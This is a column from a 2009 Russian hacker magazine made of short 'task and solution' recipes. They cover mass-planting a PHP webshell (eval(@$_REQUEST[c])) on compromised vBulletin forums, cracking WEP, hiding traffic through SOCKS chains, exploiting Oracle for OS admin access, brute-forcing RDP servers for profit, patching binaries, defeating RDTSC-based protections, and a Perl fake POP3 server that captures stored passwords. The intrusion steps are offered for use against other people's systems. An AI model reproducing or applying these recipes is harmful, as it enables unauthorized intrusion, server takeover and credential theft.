Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

Easy-Hack

Леонид «R0id» Стройков (r0id@mail.ru)
Леонид «Cr@wler» Исупов (crawler@xakep.ru)

Задача: Автоматизировать процесс загрузки шелла на сервер через vBulletin

Решение

Частенько на просторах Сети встречаются бажные форумы, через которые, порой, очень хочется залить шелл, дабы обрести полноценный доступ к серверу :). Популярный форумный двиг vBulletin aka булка - не исключение. Залить шелл через админку сего продукта довольно просто. Для этого следует:

  1. Поиметь админский аккаунт (только не спрашивай меня: «как?»)
  2. Залогиниться в админке
  3. Добавить новый модуль с телом нашего шелла (не более 60 Кб)

Однако, когда бажных форумов много, а времени - мало, разумнее заливать шеллы в автоматическом режиме, благо, специально для этих целей был написан «vBulletin shell installer» от товарища DeusTirael. Все, что от тебя требуется - подправить пару строк в конфиге скрипта, а именно:

$login = "admin"; // логин админа форума
$passw = "password"; // пароль админа форума
$cookies = ""; // куки
$admincp = "http://blablabla.com/vbl/admincp/"; // полный http-линк до админки
$pltitle = "plugin"; // plugin title
$shellcode = 'eval(@$_REQUEST[c]);'; // код пхп-шелла

P.S. Скрипт успешно работает с vBulletin 3.5.*.

Задача: Сбрутить WEP-ключ, используя ноут с виндой

Решение

Если ты занимаешься вардрайвингом не первый день, то наверняка знаком с такой популярной утилой, как Aircrack. Существует удобная оболчка для данной тулзы под названием AiroWizard, которая представляет собой мощный инструмент для анализа защищенности ви-фи сетей. Кстати говоря, AiroWizard реализована как раз под винду и обладает, как ты уже догадался, гуишным интерефейсом :). Анализировать сети с помощью утилы несложно, алгоритм твоих действий ниже:

  1. Сливаем тулзу с нашего диска, инсталлим, запускаем
  2. Включаем адаптер, смотрим лист адаптеров в утиле и выбираем свой; если список пуст, либо карточка отсутствует - смело жми «refresh»; если и это не помогает - значит твой адаптер не поддерживается софтиной :(
  3. После выбора адаптера жмем баттон «Start Airserv-ng» на вкладке «Monitor Mode»
  4. Теперь запускаем утилу Airodump-ng в режиме мониторинга на вкладке «Monitor Mode»
  5. Наблюдаем за ходом сканирования и определяем нужную точку
  6. Запускаем Airodump-ng с нужными нам параметрами: SSID, MAC и указываем имя дампа для записи собранных пакетов; все это на вкладке AP details and Airodump-ng
  7. Переходим в раздел Authentication and packer replayinjection и последовательно выполняем все необходимые действия
  8. Собираем не менее 40к пакетов и приступаем к бруту WEP-ключа на вкладке WEP crackrecovery

Вот и все, – список поддерживаемых адаптеров ты можешь найти в самой утиле. Кроме всего прочего, тулза позволяет изменять MAC-адрес адаптера парой кликов мышкой :)..

Задача: Перенаправить трафик с указанных приложений на сокс-сервер

Решение

Использовать хттп-проксики всегда и везде не очень удобно, а порой - невозможно, если приложение не поддерживает работу с прокси/соксами. Выход один - перенаправлять трафик на сокс-сервер, то есть юзать соксификатор. Одна из лучших софтин подобного рода - Freecap. Тулза представляет собой классический соксификатор, с возможностью построения цепочек соксов, с поддержкой сокс4/5 и, к тому же, бесплатный :). Настроить утилу для работы весьма просто:

  1. Сливаем прогу с нашего диска, либо с офсайта - http://freecap.ru
  2. Открываем главное окно утилы и добавляем приложения, трафик с которых будет перенаправляться на сокс-сервер (например, браузер, асю, брутер, etc)
  3. Выбираем раздел «Настройки»
  4. Во вкладке «Настройки прокси» указываем IP-адрес и порт сокс-сервера (поддерживаются сокс4/5)
  5. Если хотим создать цепочку соксов - переходим на вкладку «Цепочка прокси» и отмечаем галочками те соксы, которые хотим использовать в своей цепочке
  6. На вкладке «Настройка журнала» есть возможность включить логирование, что делать не рекомендуется по понятным причинам :)
  7. На вкладке «Прямые соединения» можно добавить исключения - IP-адреса, для которых соксификация не требуется; в этом случае соединение будет идти напрямую, минуя сокс-сервер
  8. После того, как все настроено - щелкаем правой кнопкой по иконке в трее и выбираем приложение, которое хотим запустить :)

Вот, собственно, и все. Анонимного веб-серфинга тебе :).

Задача: Автоматизировать процесс поиска багов в СУБД Oracle

Решение

На страницах журнала мы не раз писали про анализ MySQL и MSSQL-серверов на предмет наличия уязвимостей, да и в Сети информации на эту тему - хоть отбавляй. Но в случае с Oracle все не так просто, ведь найти надежный инструмент для поиска багов в этой СУБД до недавнего времени было проблемно. Почему до недавнего? Ответ на вопрос кроется в утиле «ORACLE SECURITY TOOLS», о предназначении которой нетрудно догадаться по названию. Тулза позволяет имитировать проникновение в СУБД, используя при этом ряд известных уязвимостей и сплойтов. Из особенностей можно выделить:

  1. Повышение привилегий пользователя Oracle
  2. Проверка валидности дефолтных паролей Oracle
  3. Выполнение PL/SQL кода
  4. Повышение привилегий в ОС Windows 2000/XP/2003 (добавить локального пользователя с правами администратора и возможностью удаленного подключения)
  5. Проникновение в ОС и выполнение команд с правами администратора системы

Чтобы протестировать Oracle, тебе необходимо:

  1. Слить утилу с нашего диска, либо с офсайта (http://securetools.ru)
  2. Запустить тулзу
  3. Выбрать версию СУБД и сплойт
  4. Указать необходимые для коннекта данные (логин, пасс, etc) и подключиться к СУБД
  5. При необходимости выполнения PL/SQL-кода вбиваем код в соответствующем окошке и жмем «Выполнить»

Утила имеет гуишный интерфейс, так что проблем с ее эксплуатацией возникнуть у тебя не должно :).

Задача: Сбрутить вин-дедик

Решение

Брут дедиков - не только средство добычи собственных серверов, но и маленький стабильный доход :). Если ты догадался, о чем идет речь, рад представить очередной релиз R&D P Brute v2.0, а точнее - его паблик-версию, ибо приватная стоит немножко денег. Тулза поможет сбрутить пару Windows-дедиков по протоколу RDP. Если коротко, то:

  • Наличие гуишного интерфейса
  • Утила обладает высокой скоростью
  • Есть возможность удаления пробрученных IP-адресов
  • Ведение полной статистики брута

Из минусов бесплатной версии - ограничение на брут в 10 потоков. Все, что от тебя требуется:

  1. Слить архив с утилой с нашего ДВД
  2. Распаковать
  3. Заполнить файл ips.txt - IP-адреса дедиков для брута, файл pass.txt - пароли для брута
  4. Запустить тулзу
  5. Нажать баттон «start»

Полагаю, вопросов больше нет - вперед, брутить :).

Задача: Реализовать при помощи отладчика OllyDbg изменение кода программы еще до начала его выполнения с момента попадания на точку входа

Решение

1. Метод решения задачи довольно прост и основывается на использовании TLS-callback функций. Цитата из MSDN: «Метод локального хранилища потока позволяет каждому потоку многопоточного процесса выделять адреса для хранения данных для определенного потока». TLS поддерживает вызов callback-функций, указатели на адреса которых хранятся в специальной TLS-таблице, причем вызов этот происходит еще до выполнения инструкций, располагающихся на точке входа. Такую функцию мы и создадим, чтобы изменить код программы. Будем использовать для экспериментов написанный на ассемблере файл, выдающий окно с сообщением «Hello, World» (его можно найти на нашем DVD).

Создаем TLS-директорию в любой существующей секции. Не залезая в дебри, открываем PE-файл при помощи OllyDbg, выделяем 16 нулевых байт, располагающихся ниже кода (они выравнивают размер секции), и при помощи команды «Binary -> Edit» контекстного меню вносим следующую последовательность: «00 11 40 00 10 11 40 00 4D 10 40 00 36 10 40 00» (для другого приложения адреса могут быть иными). Первый и второй адрес - 00401100 и 00401110 - являются адресами начала и конца выделяемой для потока области данных. По адресу 0040104D будет записано значение-индекс (его возвратит функция, выделившая блок памяти для потока). Наконец, 00401036 - это адрес таблицы callback-функций.

2. Приступим к формированию таблицы callback-функций. Переходим к адресу 00401036, выделяем 6 байт, выбираем из контекстного меню команду «Binary -> Edit». Вводим значение «40 10 40 00 00 00». Первые 4 байта указывают на адрес callback-функции. Последние два нулевых байта указывают на окончание таблицы callback-функций.

3. Можно размещать код функции по адресу 00401040. Его функциональность может быть любой; в нашем случае мы изменим инструкцию, передающую один из параметров API-функции MessageBoxA – «PUSH 0». Она располагается прямо на точке входа, по адресу 00401000. Изменять ее на «PUSH 1» (значение указывает на то, что окошко с сообщением «Hello, World», выдаваемое программой, будет иметь не одну, а две кнопки – «Ok» и «Отмена») будет следующий callback-код:

00401040 MOV EAX,00401000; помещаем в EAX адрес точки входа
00401045 MOV EBX,0068016A; новый машинный код инструкции, первоначальный имел вид 0068006A
0040104A MOV DWORD PTR DS:[EAX],EBX; производим патчинг инструкции
0040104C RETN; возвращаемся из функции

Сохраняем файл (команда Copy to executable -> All modifications контекстного меню правой кнопки мыши).

4. Теперь необходимо внести адрес TLS-директории в PE-заголовок исследуемого файла. В окне дампа переходим к адресу 00400000, в окне дампа выбираем Special -> PE Header, чтобы отладчик рассматривал данные как PE-заголовок. Прокручиваем дамп чуть ниже, пока не встретим сигнатуру PE. В списке полей структуры ищем поле TLS Table address и при помощи комбинации клавиш <Ctrl+E> открываем меню редактирования. Адрес, по которому располагалась размещенная нами таблица, имел значение 00401026. Вспоминая, что в PE-заголовок нужно вводить смещения, а не абсолютные адреса, отнимаем от значения 00401026 значение ImageBase (00400000) и получаем значение 00001026. Таким образом, вводим в окно редактирования последовательность 26 10 00 00. Из контекстного меню выбираем Copy to executable File; в появившемся окне снова нажимаем на правую кнопку мыши и выбираем из меню Save file. Сохраняем файл. Запуск удается успешно, программа отображает кнопки Ok и Отмена, хотя первоначально отображалась лишь одна кнопка.

Задача: Эмулировать результат выполнения RDTSC (ассемблерная инструкция-счетчик тактов) для обхода некоторых программных защит

Решение

  1. Устанавливаем утилиту Kernel-Mode Driver Manager, написанную хакером Four-F.
  2. Скачиваем с http://www.wasm.ru или забираем с нашего диска драйвер fakerdtsc.sys c исходными кодами (это позволит при желании его модифицировать и собрать нужный вариант). Драйвер «кормит» вызывающие RDTSC приложения малыми псевдослучайными числами, что делает работу защит, основанных на использовании RDTSC, бессмысленной.
  3. Загружаем fakerdtsc.sys при помощи утилиты Kernel-Mode Driver Manager и «проводим» его внутрь системы при помощи нажатия кнопок «Register» и «Run».
  4. Выполняем необходимые манипуляции в отладчике, не обращая внимания на RDTSC.
  5. Останавливаем работу драйвера (Stop, Unregister).

Задача: Вытащить «забытый» пароль из почтового клиента

Решение

Довольно тривиальная задачка – имеется установленный почтовик, в котором вбит предустановленный пароль. Чтобы его расшифровать, есть, минимум, 3 способа. Во-первых, заветный пароль можно вытащить из конфигов (как вручную, так и различными приложениями). Однако в большинстве случаев, пассворд шифруется, и изъять его не получается. Например, те же Openpass, Passview или Recover не запускаются при установленном антивирусе или файрволе. В итоге приходится довольствоваться старым дедовским способом по искусственному «выманиванию» паролей из почтовых программ.

1. Откроем твой любимый блокнот и напишем простенький Fake-POP3-сервер, посредством которого вытащим любой пароль.

#!/usr/bin/perl

# Emulate the fake pop3 service ;)

use IO::Socket;
$|++; # Юзаем сокет и отрубаем буферизацию

$sock=IO::Socket::INET->new(Listen=>10,LocalPort=>110,Proto=>'tcp',Reuse=>1) || "Cant open port: $!n"; # Создаем сокет на 110 порту локальной машины

while($client=$sock->accept()) {
while(1) { # Слушаем новых клиентов и входим в бесконечный цикл при каждом новом соединении
$client->send("+OK Fake POP Service readyn"); # Выдаем баннер
$stat=$client->recv($data,1024);
$client->send("+OK Password?n");
$stat=$client->recv($data,1024); # Организуем обмен данными согласно RFC1939
(undef,$data)=split(' ',$data);
print "Password is "$data"n"; # Отделяем пароль и пишем его в консоль
close($client); # Обрубаем клиент и выходим из программы
exit;
}
}

2. Изменяем в клиенте хост почтового сервера на локальный адрес (либо на любой другой, куда будет заливаться фейковый скрипт).

3. Запускаем фейковый скрипт и инициируем процесс получения новых сообщений. Как итог – ты получишь пароль в plain-text, нарисованный в консоли. Задачка выполнена.

Кстати, таким нехитрым образом можно получить пароли от совершенно любых клиентов (например, на FTP). Главное – знать команды обмена в нужном протоколе.

Содержание
ttfb: 6.5228939056396 ms